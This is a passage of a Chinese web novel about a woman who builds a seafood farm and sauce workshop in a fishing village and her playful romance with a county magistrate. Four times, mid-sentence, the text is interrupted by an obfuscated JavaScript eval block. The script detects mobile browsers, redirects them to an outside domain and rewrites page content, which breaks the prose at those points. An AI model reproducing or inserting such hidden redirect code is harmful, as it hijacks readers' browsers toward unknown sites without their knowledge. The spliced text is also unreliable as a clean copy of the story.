林秀秀撇了撇嘴，最近还有男子找媒婆上门说亲，结果都被推拒了，她这小姑子可不得了，人变得强势，眼光也高了，扬言要找个为人勤奋、养殖搞得好的。 哼，钱春香也就运气好一点，早早和云楚沅搞好关系才捞到了不少好处，这种好事怎么就轮不到她呢！不过，现在套近乎也不晚，她还指望云楚沅也能给她找个活计呢。 “嫂子，我还得去养殖区看看，就不陪你闲聊了。” 云楚沅不再理会酸溜溜的林秀秀，人各有命，你自己不努力，难道还指望着别人提携吗？又不是你亲娘，谁会无条件帮你啊。 晨曦微露的海边，潮汐退去，露出大片富含生机的浅海和滩涂，那是养殖户们辛勤劳作的战场，他们即将迎来翘首以盼的收获之时。 “楚沅啊，你那片海域的鱼虾是准备捞了吧。” 隔着老远，云楚沅就听到村长夫人的喊声，她带着几个妇人赶来帮忙，她们头戴宽边帽，脚步稳健地快步走向滩涂。 “婶子，你们家海鲜收完了？” 村长夫人小跑过来，气喘吁吁道：“刚收完，这不看你来了，我想着过来帮帮你。” 她身后跟来的几个妇人也纷纷点头，表示也想来帮忙，云楚沅打眼一瞧，她们全是第一批支持搞养殖业的人，来帮忙想必也是有感谢她的意思。 云楚沅莞尔一笑：“婶子，麻烦你们了。” 村长夫人弯下腰，手里拿着钳子，精准地抓住一个个埋在淤泥里的贝类，动作娴熟且迅速，嘴里还念叨着：“不麻烦，她们几个都是手脚勤快的。” 这边的动静吸引了不少人，周围忙完的人也自发地过来帮忙。 年轻力壮的汉子负责搬运较重的蟹笼，他们手臂上的肌肉鼓起，一把将蟹笼从水里提起，倒出里面张牙舞爪的螃蟹。 青壳白肚的螃蟹活力十足，它们在篓子里横冲直撞，摆动着钳子，仿佛也在庆祝这丰收的盛景。 大人们忙着丰收，孩子们也没闲着，他们提着小桶，成群结伴地在浅水区捡拾遗漏的小虾小蟹，银铃般的笑声回荡在海边。 随着太阳逐渐升高，养殖户们的收获进入收尾阶段，一筐筐翠绿的海带、新鲜的鱼虾、肥美的贝类被搬上岸边，堆成了小山，村民们脸上都带着满足的笑。 云楚沅用手背擦了擦粘在脸蛋上的泥点，左手轻捶后腰，右手揉着肩膀，即便有这么多人帮忙，这收海鲜的活也不轻松。 “婶子，谢谢你们帮忙，待会你们到我家吃午饭，把你们男人和孩子都带上。”云楚沅很感谢这几个主动来帮忙的婶子。 村长夫人搓着手上的泥，笑着说：“不用了，这是我们该做的。要说帮忙，你才是帮我们最多的，又是传授我们养殖的方法，又是给我们培养苗种的。没有你，我们怎么可能收获这么大。” 云楚沅坚持道：“一码归一码，你们来帮我干活，我没出钱，总得请你们吃顿饭呀。” 几位婶子推辞不过，只好答应下来，不过她们都不准备带男人来，他们一个个人高马大的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860582|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又那么能吃，还是不要带去别人家白吃粮食了。 婶子们要先回家给自家男人做好饭，再带着孩子去云家，云楚沅先一步回到家中，准备午间的丰盛大餐。 她罗列了一张菜单，上面写着豉汁蒸石斑鱼、香煎青花鱼、红烧马面鱼、干炸沙丁鱼、酸辣烩鱼块，这次她要做个全鱼宴！ 豆豉剁碎，放入碗中，加入适量的酱油、白糖、蒜姜末、以及少许胡椒粉，酱油的咸香、白糖的甘甜、蒜姜的辛辣与豆豉的独特风味相结合，倒入热油激发出香味，调好的豉汁均匀地涂抹在石斑鱼上，上锅蒸。 石斑鱼的肉质鲜嫩爽滑，豉汁的香味深入其中，鱼肉的鲜美在浓厚豉汁的衬托下愈发鲜明。 煎好的青花鱼呈现出诱人的金黄色，仿佛被一层金光笼罩，鱼皮在高温的作用下变得焦脆，青花鱼骨头不多，骨头也被煎得酥脆可口。 云楚沅做了两道菜，家门就被敲响，婶子们都到了，她们涌进厨房，为她打下手。 “真香，楚沅我还没吃过你做的饭呢，借此机会我得好好尝尝。”一个面容和善的婶子出声说道，她吸着鼻子，嗅闻着空气中弥漫的香味。 “那你有口福了，上回楚沅来我们家做的鳗鱼饭我可是念念不忘。”村长夫人一边说笑，一边处理着马面鱼。 葱姜蒜入锅爆香，与马面鱼相伴的是酱油、糖等调味料，炖煮之时，汤汁逐渐变得浓稠，如同绸缎一般包裹着马面鱼。 云楚沅在灶前做饭，婶子们都围在她附近，聚精会神地看着她的动作。 见状，云楚沅开口说道：“这红烧的做法适用于所有鱼，而且还简单好学，调料主要以酱油和糖为主，慢炖而成。” 她从煸炒、上色、调味、焖烧、收汁这几个步骤讲了点小技巧，婶子们纷纷侧耳倾听，争取学一学，提升一下厨艺。 炸沙丁鱼之前，要先进行腌制，少许盐、几滴酱油，再加姜丝和葱段，几样简单的调料就能让沙丁鱼更好地入味，同时也能去除腥味，让鱼肉更加鲜美。 待油温六七成热，便可以开始下锅炸鱼，裹上面糊的沙丁鱼迅速凝固成型，形成一层金黄酥脆的外壳。 在此过程要控制好火候，太大容易焦糊，而火候太小则会使鱼吸收太多油脂，所以中火慢炸至金黄后便可捞出。 “咔嚓咔嚓！”云楚沅掰开薄薄的外衣，露出里面细腻柔软的白色鱼肉，分给婶子们先尝尝。 村长夫人嚼着酥脆的炸鱼，点了点头，“嗯，不错，外酥里嫩，这个炸沙丁鱼适合做下酒菜。” 最后一道酸辣烩鱼块适合口味重的人，炸过的鱼块捞出备用，茱萸、花椒、泡椒炒香，浓郁的辣味刺激着众人嗅觉，有吃不了辣的婶子当场打起了喷嚏。 而后加入姜片、蒜末煸炒，加水大火烧开，锅中翻滚的汤汁如同沸腾的红色海洋，炸好的鱼块放至锅中，醋、酱油、盐、糖进行调味，鱼块在酸辣的汤汁中烩煮，吸满酸辣的味道。 丰盛的全鱼宴摆上桌，众人围坐一堂，共享美味，品尝的不仅是鱼肉的鲜美，更是那份收获的喜悦。 29. 海味坊 早在这次养殖区丰收之前，云楚沅就托牙人置办好了铺子，这间铺子同在东街，位于云记食肆的不远处。 几个月的时间，云楚沅通过卖吃食和卖海鲜，赚了有好几百两银子，外债都还清后，又承包了好几亩海域，打造出更庞大的海洋牧场。 如此多的海鲜在临海县是卖不出去的，只能往外销售。 古代交通不发达，长途运输很难，距离海边较远的百姓们买不到鱼，而且海鲜的保质期短，需要将其加工保存，否则容易变质。 云楚沅开的海味坊便就是专门卖海鲜加工品的，但这间海味坊的店铺面积不大，仅能用来卖货。 所以她在小渔村买了块地，修建了一个加工坊，雇佣村里的老弱妇孺和周边乡里的村民来做工。 目前加工坊正在大规模地制作蚝油，这蚝油在临海县一经上市，便被一抢而空。 只因云记食肆和云记海味坊来了一次梦幻联动，云楚沅向常来的食客们大力宣传新产品，并扬言这是她们食肆饭菜香的秘密调料。 消息传出后，蚝油这个前所未有的调味料变得炙手可热起来。 海味坊开业当天还来了场试吃活动，咸甜适中、鲜香浓郁的蚝油，令所有尝过的人全都拍手叫绝，买回去的妇人当天炒菜时往里放了一点，确实好吃不少。 除此之外，云楚沅经过几日的精心调制，复刻出了万能调料海鲜酱，无论是拿它拌饭、拌面、炒饭、炒面，还是用来凉拌菜，都特别好吃，而且它还能当做海鲜火锅的蘸料。 小渔村的海鲜加工坊，热闹非凡。 村民们正忙着准备食材，一筐又一筐海鲜被送进来，海虾、海鱼、贝类都是刚刚从养殖区捞上来的，非常新鲜，它们是制作顶级海鲜酱的基础。 “哗啦啦！”村民们将海鲜倒入装满水的大盆里，用刷子仔细地将海鲜逐一清洗干净。 海虾被剥去坚硬的外壳，露出里面饱满紧实的虾肉；海鱼被刮去鱼鳞，村民们熟练去除内脏、剔除鱼刺，只留下鲜嫩的鱼肉；刷洗过的贝类被撬开外壳，取出肥美的肉。 处理海鲜的工作多是由妇人来做，她们在家中做惯了这些活计，妇人们坐在小板凳上，围坐在一起，一边说着家长里短，一边动手剥虾。 云楚沅来到加工坊时，就碰上这副热火朝天的场景，妇女们剥虾的手法非常绚烂，看的人眼花缭乱。 “楚沅来了！”村长夫人率先注意到她，甩了甩手上的水，赶忙站起来迎接。 其他人听见了，也纷纷起身向她问好，他们的样子不像是见到同村女郎，反倒像是看见县令大人似的，非常热情且恭敬。 云楚沅受宠若惊：“不必如此兴师动众，我只是个晚辈。” “咱们楚沅那可不是一般的小辈，你看这十里八乡，无论男女老少，有谁能比你能耐呀！”村长夫人将滴着水的手往围在身上的布兜上擦了擦，亲切地拉住云楚沅。 “云丫头不仅有能耐，还心善，你能生在小渔村，是我们的福气。” 一道平稳舒缓的女声响起，云楚沅转头看去，说话之人正是小周大夫的寡母周氏。 “周婶子，你身体吃得消吗？”云楚沅面露担忧，周婶前段时日身子大好，不再是那副病歪歪的样子， 海鲜加工坊招人时，周婶不想拖累儿子，也想赚点银钱补贴家用，她好说歹说地祈求云楚沅给她一个机会，让她也来加工坊做工。 周氏母子确实可怜，更别提周家还曾借给过云老爹银子，于情于理，云楚沅都拒绝不了她，便为周婶安排了一个剥虾的轻快活。 “云丫头，我没她们干活麻利，实在不好意思和她们拿一样的月钱，我拿一半就成。”周婶剥虾的速度不快，别人剥了一桶，她才将将半桶，要是碘着脸领同样的月钱，她良心不安。 “行，婶子你量力而行，要是累垮了身子，我可没法和周大夫交代。”云楚沅把周婶扶到座位上，轻笑着点点头。 周围不少嫂子婶子都在听着，就算她再怎么同情周婶，都不可能不顾及别人的感受，而且她是做生意的，又不是做慈善的。 倘若因为一时心软，开了这个先例，让周婶和别人拿一样的月钱，那以后谁还会服从她？手底下的这些干活的人谁还会认真做事？ 闲聊过后，云楚沅顺着工坊内的流水线继续视察。 下一项是切割工序，村民们手持锋利的菜刀，将处理好的海鲜切成大小均匀的块状或条状，这样方便后续加工。 虾肉被切成小段，鱼肉被切成薄片，贝肉被切成丁状，切割后的海鲜分类填满一个个木桶，等待着下一道工序的进行。 炒制环节，巨大的铁锅中倒入大量的油，温度升高后，将切好的海鲜依次倒入锅中，瞬间，锅里油像是炸开了一般翻滚起来。 锅中热油发出“滋滋”的声响，虾肉被炸得通红，鱼肉在锅中卷曲收缩，贝类肉释放出浓郁的鲜味，整个加工坊都被这股香味充斥。 师傅们双手抬着大号铲子不断翻炒，让海鲜在其中均匀受热，直至被炸透，而后加入适量的调料，蒜末、盐、糖、酱油、黄酒等，调味料与海鲜交融，散发出更加浓郁的香味。 海鲜逐渐变得金黄，水分慢慢收干，此时便可以加入秘制调料，花椒、八角、桂皮、香叶、草果等各种香料混进去一起熬，形成一种神秘而独特的味道。 这其中有些香料还是云楚沅特意从药铺买来的呢，古代人做吃食根本不会用到这么多香料，它们基本上是作为药物来使用的。 云楚沅拿来大量香料熬酱时，村民们非常惊异，直到那股浓烈的香味散发出来，众人恍然大悟，原来药物还有这等妙用。 经过长时间的小火熬制，海鲜酱终于大功告成，空气中飘着的香味不仅包含了海鲜的鲜味，还有香料的辛香和甘香，让人闻之食欲大增。 浓稠的酱料色泽红亮，每一勺海鲜酱都饱含着多种海鲜的精华，鲜、香、甜、咸、辣各种味道缠绵在一起，平衡得恰到好处。 熬制好的海鲜酱冷却过后，被村民们小心翼翼地装入陶罐中，密封起来，它们将会走向千家万户，为各地百姓们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860583|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的餐桌上增添一道海味。 —— 时隔多日，云楚沅终于忙完海味坊筹备上新的事宜，她带着一马车的货物，回到了临海县。 “李掌柜，叫人来卸货！” 云楚沅冲着铺子吆喝一声，一位虎背熊腰的汉子跑了出来，此人是她招来的掌柜，李大强。 说来也巧，这李大强和云记颇有缘分，云记食肆刚开业时，他就是那头一位客人，自那以后，他便成了云记的常客。 这回听说云记新开的海味坊招人，他马不停蹄地赶来了，他虽然长得五大三粗，可是个心细之人，性格圆滑，办事也周到，云楚沅便把他留下了。 “东家，您的吩咐的事我都办妥了，后院修成了库房，找木匠打好了货架，还招了两个小伙计和一个账房先生，您进来瞧瞧。”李掌柜笑容满面地把云楚沅迎了进去，顺带招呼两名伙计去搬货。 云楚沅看了一圈，确实都到位了，便放下心来，准备打道回府，她可是有好几日没回县衙了。 “你还知道回来啊？我都好几日没吃过你做的膳食了，你该如何补偿我？” 路过主院，一道幽幽的声音传来，云楚沅脚下动作一顿，慢慢转过身子，尴尬地笑了笑，“裴大哥，好巧啊！你怎么站在这里？” 裴昱臣冷哼一声：“怎么？不想看见我？也对，你的心思都放在海味坊上，哪里还记得你还是我的厨娘呢。” 县令大人身上的怨气浓得都快化成实质了，可见他心里有多憋闷，双眸犹如深邃的古井，紧紧盯着云楚沅，把她看得低下了头。 云楚沅自知理亏，不敢还嘴。 这几日太忙了，不光是裴县令，就连小弟和小妹都被她抛之脑后了，反正他们在县衙吃好喝好，她忙忙事业怎么了嘛！ 此刻，她就像是在外拼搏一家之主，回到家后，面对妻子的指责心虚不已、无力反驳。 云楚沅打了个寒颤，呸呸呸，什么乱七八糟的！ 她停止胡思乱想，偷偷打量着裴昱臣的脸色，小心翼翼道：“裴大哥，我特意为你带回来了一瓶海鲜酱，即便我在外面忙，我心里也记挂着你，方才我还念叨着要给你做一道海鲜酱拌面呢！” 裴昱臣的脸色好看了不少，如同被春风吹拂过一般，云开雾散，眉宇间恢复了往日里的沉稳，他矜持地点点头，“嗯，你快去吧，我等你。” 云楚沅脚底抹油，飞快溜去了厨房，她松了口气，这小书生还真好哄，看他那板着脸的严肃样，她差点以为自己要被赶出县衙了呢。 剁碎的猪肉下锅煸炒，云楚沅参考炸酱面的做法，把酱料替换成了海鲜酱，海鲜酱不仅能抑制腥味，还能提鲜，猪肉与海鲜酱的结合，使得猪肉更加鲜美。 煮好的面条淋上两勺肉酱，面条的劲道、肉酱的浓郁、海鲜的鲜香，再搭配上葱花和菜蔬，让整碗面的味道更加多元化。 过完嘴瘾的裴县令笑容更加温柔，“楚沅，这两日你辛苦了，回房好好歇息吧。” 云楚沅皮笑肉不笑地说道：“是，大人。” 30. 别欺负我了 县衙书房，云楚沅正在向裴昱臣汇报近几日的工作情况，当初她可是夸下海口，要凭一己之力拉动临海县的经济，那必须要做出成绩来。 “大人，我的初步计划已经完成，以小渔村为试验点，大兴养殖业，渔民们的收入逐步稳定下来，且比之前翻了数番。” 裴昱臣轻轻点头：“不错，如你所说，我投进去的钱也回本了，想来渔民们赚的只会多不会少。” 云楚沅小嘴一撅，面带不满地娇嗔道：“裴哥哥，你还好意思说呢，你倒好，做了甩手掌柜，而我成日里忙进忙出的，还要被你埋怨，哼！” 云楚沅越说越生气，这人真不够意思，她又要管理养殖、又要筹备开店，还得给他做饭，她可真是个劳碌命！非但得不到他的夸奖，还要被他甩脸子，真是吃力不讨好！ 听着她的满腹牢骚，裴昱臣微微一怔，他抬起指骨分明的手，不自在地摸了一下自己的鼻尖，想要借此缓解尴尬的情绪。 裴昱臣在心里反思，他见到云楚沅的反应确实过激了，明知道她在忙着带领全村百姓发家，明知道她在做的是利民的好事，怎能一见面就发泄自己的不满呢。 裴昱臣之所以如此，全是因为这几日县衙里的伙食令人难以下咽，他偶尔去云记食肆打打牙祭，也觉得不对味。 见不到云楚沅，裴昱臣茶不思饭不想，他甚至产生了一种错觉，他这张嘴是不是离不开她了。 裴昱臣的眼神中闪过一丝不易察觉的慌乱，鼻翼轻轻翕动了一下，掩饰住内心的窘迫，轻咳一声道：“是我不好，我不该说你的不是。若你能消气，叫我做什么都行。” “哦？做什么都行？”云楚沅来了兴致，这可是小书生自己说的啊。 “嘻嘻嘻！”云楚沅搓了搓手，贼笑着靠近坐在桌案后的裴昱臣，身体前倾，一只手撑着桌面，一只手托腮，调笑道：“小哥哥，这么说的话，我对你做什么都可以喽？你保证不会反抗吗？” 这宛如登徒子的行径，令裴昱臣皱起了眉，身子后仰，靠在椅背上，轻声说道：“楚沅，你不要离我如此近，男女有别。” 云楚沅凑近他的耳畔，吐气如兰，引得裴昱臣的耳尖泛起红晕，她伸出纤细的手指，轻轻点了点小书生的胸膛，“我就要离你这么近，你待如何？”说罢，她故意用不怀好意的眼神在他的脸上流转。 裴昱臣咽了咽口水，不自觉攥紧手里握着的书籍，他看向女子那近在咫尺的白皙面庞，她眉眼间皆是灵动的笑意。 他垂下眼睑，故作镇定地说道：“我自然不能把姑娘怎样，但倘若姑娘执意如此，要是在下做出什么出格之事，你可不要后悔。” 哈哈，出格之事？这色厉内荏的小书生以为她会被吓到吗？ 云楚沅不吃他这一套，她轻轻一笑，伸手为裴昱臣捋了捋的衣领，指尖顺着他的脖颈向下滑动，眼瞧着小书生紧闭双眼，喉结止不住地上下滚动。 她朝着他通红的耳朵吹了口气，轻声说道：“大人莫要嘴硬了，瞧你这副欲拒还迎的样子，怕是心里早就乐开了花吧。” 裴昱臣的脸愈发红了，他身体紧紧往后靠去，想要与女子拉开些距离，“刺啦！”滑行的木椅在地面上摩擦出刺耳的声音。 他死死闭上眼睛，仿佛是在逃避现实，却不想云楚沅步步紧逼，向前凑了几分，又冲着小书生鸦羽般的长睫毛吹了口气，她刻意压低声音，用魅惑的声线说道：“嗯？裴大人敢做不敢当吗？” 感受到喷洒在眼皮处的热气，裴昱臣的睫毛控住不住地颤抖，无法，他只能向这个心眼忒坏的女子求饶，“云姑娘，你明明知道我不是这个意思，干嘛要如此欺负我？” 他的声音擅抖，隐隐还能听到一丝哽咽，云楚沅诧异极了，这小书生不光纯情，还很脆弱。 云楚沅尴尬地挠了挠头，他这副样子显得她是什么恶霸一样，“好啦好啦，我不说就是了！你裴县令最清高了，岂是我这等粗鄙的渔家女能玷污的呢。” 裴昱臣身形一顿，忽的一下睁开眼，直直对上云楚沅的视线，认真道：“姑娘何必妄自菲薄，你有许多长处，怎会是粗鄙之人呢？你心地善良、厨艺高超、擅长经商、心系百姓，我从未见过比你再好的女子了。” 看着他眼底泛红，还在一本正经地宽慰她，云楚沅心里好笑，这人的情绪来得快去得也快，一点也不记仇。 “听裴大人的意思，这天底下没有比我再优秀的女子喽？那你是不是心动了？”云楚沅忍不住又嘴贱。 “咳，云姑娘，实不相瞒，在下如今的心思并不在男女之情上，临海县百姓的日子还没好起来，我的凌云之志尚未实现，暂且不会成家。” “我懂我懂，先立业后成家嘛，我也是如此想的！我自己有能力赚钱，为何还要被困于后宅？一想到女子嫁人以后要相夫教子，我就恐婚！我以后定要找个不拘束我的男子做相公。” 云楚沅无法理解古代人盲婚哑嫁的思想，成婚又不是一件必须要完成的事，终身大事必须要慎之又慎，共度一生之人宁缺毋滥。 裴昱臣并未批判云楚沅特立独行的思想，反而很是赞同，“女子不是非要依靠男子生存的，就好比我的母亲，她独自一人含辛茹苦地将我养大，从未考虑过再嫁，我对母亲只有尊敬和钦佩。” “嗯，你母亲确实伟大，能教养出如此优秀的儿子，她肯定是位通透之人。” 云楚沅很开心，裴昱臣是自她穿越以来，遇上的少见的支持女子独立的人，还有他的母亲，若是她还在世，她们肯定会有共同语言。 换了个话题后，裴昱臣的心情慢慢平复下来，再回想起方才自己被小姑娘逼迫的模样，莫名有些羞耻，他年长云楚沅四岁有余，却被她欺负得无地自容，实在丢脸。 他不愿再回忆起自己窘迫的样子，却不得不再度提及他的承诺，“咳，楚沅，我方才说的事还作数，不过你不可再捉弄我了。” 云楚沅还是有分寸的，这小书生再逗下去，怕是要哭了，她收敛起脸上的笑意，正儿八经地说道：“既然大人都这么说了，我也不好推辞。” 裴昱臣肉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860584|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见地松了口气，他真怕云楚沅的嘴里再吐露出什么孟浪之言。 云楚沅眼珠子一转，想出了一个好主意，“裴大哥，若你真的诚心悔悟，那就把我的委屈感受一遍，我要你现在为我做一顿膳食！” 做膳食？裴昱臣表情有些为难，别的事都好说，可这烹调之事，他是一窍不通呀。 瞧他面露犹豫，云楚沅突然拉下脸来，不高兴地开口：“怎么，我这点小小的要求裴大人都做不到？” 说罢，她又作出一副委屈的样子，低下头擦拭眼角，“呜~人家只是想让你感同身受一下，难不成你要说话不算话吗？” 裴昱臣感到一阵头疼，他用手按了按额角，妥协道：“君子一言，驷马难追。” “好耶！”云楚沅的脸色一变，宛如雨过天晴。 裴昱臣摇头失笑，罢了，能让她开心，他出一次糗又何妨。 —— “多了多了，水加多了！” 县衙的膳房里鸡飞狗跳，不停传来锅碗瓢盆摔打声和女子娇蛮的说话声。 裴昱臣修长的手指搭在面盆边缘，垂落的眸光紧紧凝视着手指间粘连的一坨面疙瘩，他不禁面露苦笑，和面真不是谁都能做好的。 谁能想到，大名鼎鼎的新科状元能在庖厨将自己搞得如此狼狈。 “水多了，再加些面！”云楚沅双手背在身后，不紧不慢地指挥。 面粉扬起，似轻烟缭绕，扑上了男子的发丝和眉梢，鼻尖也沾上了一抹白，他还浑然不觉。 “噗嗤！”这副诙谐的模样逗笑了云楚沅，向来沉着冷静的裴县令，也有如此手忙脚乱的时候啊。 裴昱臣抬手抹去脸上的面粉，宽袖不经意滑落，露出骨节分明的手腕，他虽发丝凌乱、衣衫染尘，却仍旧难掩那股超凡脱俗的气质。 裴昱臣手下力道加重，本想将黏糊糊的面疙瘩聚拢成团，却不想用力过猛，不听话的面团像脱缰的野马一般，从指缝间“哧溜”一下窜出去，掉到了地上。 看他受挫，云楚沅大发慈悲地指点了两句，“先倒入一部分水，用筷子将面粉搅成絮状，再开始揉面，用手掌根部推揉面团，向前推再折叠回来，反复如此。” 裴昱臣虚心受教，按照她说的那样重新和面，先拌成絮状，再轻缓揉搓，面粉沾满他的手指和掌心，扑簌簌地落下，裴昱臣的目光牢牢锁住手中逐渐成型的面团，专注得仿若世间再无旁物。 “不错，孺子可教也。”云楚沅满意地点点头，不愧是聪明人，学什么都快。 折腾了这么久，裴昱臣的额头上渗出一层细密的汗珠，沿着鬓角悄然滑落，洇湿的几缕乌发贴在脸庞，他无暇顾及，结实的手臂持续发力，将面团反复推拉、折叠。 在云楚沅的指导下，裴昱臣将醒发好的面团擀平切割，入锅煮熟，盛出后舀上两勺海鲜酱拌了拌。 他夹起一筷子尝了尝，虽没有云楚沅做的那样筋道，可也算得上不错。 裴昱臣心里感慨万分，想不到有一日，他也能吃上自己亲手做的食物。 31. 五香酥带鱼 膳房里的动静很是热闹，里面的嬉笑声传了出来，下人们围在不远处偷偷张望，窃窃私语。 “诶，你们听说了吗？咱们县令大人要亲自做吃食，还把伙夫们都赶出来了。” “读书人不是说什么君子远庖厨吗？大人这是作甚？” “你懂什么？大人这是为云姑娘洗手作羹汤呢！” “哦？你的意思是说！” “哼哼，我绝对不会看错的，他们两人过来的时候眉来眼去的，定是发生了什么事。” “你是说，大人在书房就……” “大人风华正茂、年轻气盛，又不是坐怀不乱的柳下惠，把持不住是难免的。” 下人们聚在一起叽叽喳喳地各抒己见，声音越来越大，终于是惊动了膳房里的两人。 “你们在议论何事？” “还能是什么，当然是咱们县令大人和云姑娘的喜事！”说话的下人听到有人询问，不假思索地回答。 待发现周围鸦雀无声时，他才发觉到不对劲，转身一看，裴大人背着手站在不远处，铁青着脸注视着他。 “大……大人，小的知错。”这位小厮吓得立马跪下，瑟瑟发抖地求饶，其他人也噤若寒蝉，生怕触怒了县令大人。 裴昱臣面色冷峻，沉声说道：“在背后议论本官，你们在县衙就是这么当差的吗？” 跪在地上的小厮冷汗直冒，平日里裴昱臣待下人和善，以至于他们都忘了他的杀伐果决，如今都有胆子说他的私事了。 云楚沅一从膳房出来，就瞧见院子里跪满了下人，把她吓了一大跳，“怎么了这是？” 裴昱臣严肃的表情也许会令下人害怕，却唬不住云楚沅，毕竟这人害羞脸红的模样她见过太多次了，他高岭之花的形象在就在她这里破灭了，如今看他这副装腔作势的样子，她只觉得有趣。 “呵，他们在背后编排我们二人，简直是胆大包天，我定要好好罚一罚他们，叫他们长个记性，青竹！”裴昱臣朝着院外高喊。 青竹迈着小碎步走了进来，察言观色道：“大人，这群下人若是做错了事，发卖了便是，您可别气坏了身子。” “把他们拖出去，通通打二十大板。” 裴昱臣说完，下人们纷纷磕头，“谢大人饶命。” “嗐，就这点小事，罚罚月钱就好了，不用动刑吧。”云楚沅出声劝道，既然这些下人不好好做事，玩忽职守，那就罚他们扣工资好了，这可是打工人最怕的事。 果不其然，她这话一出，有几个视财如命的小厮咬紧了牙关，他们宁愿挨板子，又不会掉块肉，顶多身上疼一疼就过去了，可银子要是没了那可就真没了。 “也好，那就听你的吧，省得传出去，外人说我苛待下人。”裴昱臣同意了云楚沅的要求，这件事毕竟关乎她的名声，裴昱臣自然是要依她之见。 下人们退出院子后，有几个还在相互使眼色，在他们看来，裴大人这么听云姑娘的话，肯定有猫腻，只是他们人微言轻，说的话被认为是捕风捉影，根本没人信服。 —— 云楚沅出了县衙，准备去铺子巡视一圈，走近云记食肆，瞧见门口有两个熟人在拉拉扯扯。 她定睛一看，钱春香小脸通红地扯着于汤的衣角，两人正在说着什么，云楚沅眼珠子一转，暗道，这两人不对劲！ 人类的本质是八卦，云楚沅怎么能错过这个吃瓜的机会呢，她蹑手蹑脚地靠近墙角，侧耳倾听。 “阿汤哥，你日日来送货，辛苦了，给你用这个擦擦汗吧。” “不必……” “这是我自个绣的帕子，又不值什么钱，你就收下吧。还是你嫌弃我绣工不好，不愿意用？” “我……” “我就知道你不会嫌弃，这上面的小鱼还是按照你上次捞到的那只奇特的小蓝鱼绣的呢！” “呃……” “阿汤哥，你也觉得很好看是吗？你喜欢，我就送给你了。” “这……” “哎呀，你再不收下，我就亲自为你擦汗啦！” “好吧……” 云楚沅的双眼炯炯有神，这两个人是怎么驴头不对马嘴还能聊到一块去的？春香姐真厉害，阿汤哥这个闷葫芦一句话都不用说，她就能知道他在想什么了吗？ “春香，来客人了，你在外头干嘛呢！” 钱婶大嗓门的喊声从食肆内传来，钱春香转过头去冲着里面回了一声“诶！” 接着她又看了于汤两眼，手指绞着衣角，轻声说道：“阿汤哥，我要进去干活了，你有没有想跟我说的？” 于汤不明所以，试探地开口：“呃，别偷懒？” “……”钱春香的脸一下子就跨了下来，她咬了咬嘴唇，嗔怪道：“我恨你是个木头！”说完，她捂着脸飞奔回铺子里。 留下摸不着头脑的于汤留在原地发愣。 “噗嗤！”云楚沅忍不住喷笑出来，原来是落花有意流水无情啊，愧她还以为自己要亲眼见证一对有情人确定心意呢。 角落的动静吸引了于汤的注意，他闻声望去，发现云家女郎做贼一般，躲在自家铺子旁边的小巷口，偷偷摸摸的，不知在干什么。 于汤走过去，疑惑地问道：“云妹子，你躲在这里做什么？” 掩耳盗铃的云楚沅把挡在脸前的手放下来，她尴尬地笑了笑，“我在这欣赏风景。” 于汤看了看她身后破败的小巷子，又抬头瞧了瞧落灰的墙壁，感到莫名其妙，这里有什么好看的吗？ 云楚沅拔腿就跑，顺便丢下一句话，“阿汤哥，你就是根木头！” 于汤不明所以地挠了挠头，小声说道：“怪不得有句话说，女人心海底针。”对他这个常出海捕捞的人来说，海底针那是不可能找到的，所以女子的心思他确实也猜不透。 一走进云记食肆，云楚沅就看见钱春香心不在焉地用抹布擦桌子，她神情呆愣，同一个位置反复擦来擦去，明显是在走神。 “咳咳！”云楚沅走近，故意咳嗽了两声。 钱春香如梦初醒，表情慌乱地说道：“楚沅，你什么时候来的？我不是在躲懒，我只是……只是……” 她结结巴巴，说不出个所以然，云楚沅挑眉接话：“只是芳心暗许，整颗心不在云记食肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860585|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，跟着某人回小渔村了吧。” “楚沅，你！你怎么知道？方才你都看见了？” 钱春香大惊失色，她从未向任何人透露过自己的心思，就连她亲娘都不知晓，没想到这回被云楚沅撞了个正着，她脸色羞窘地把头埋在胸前。 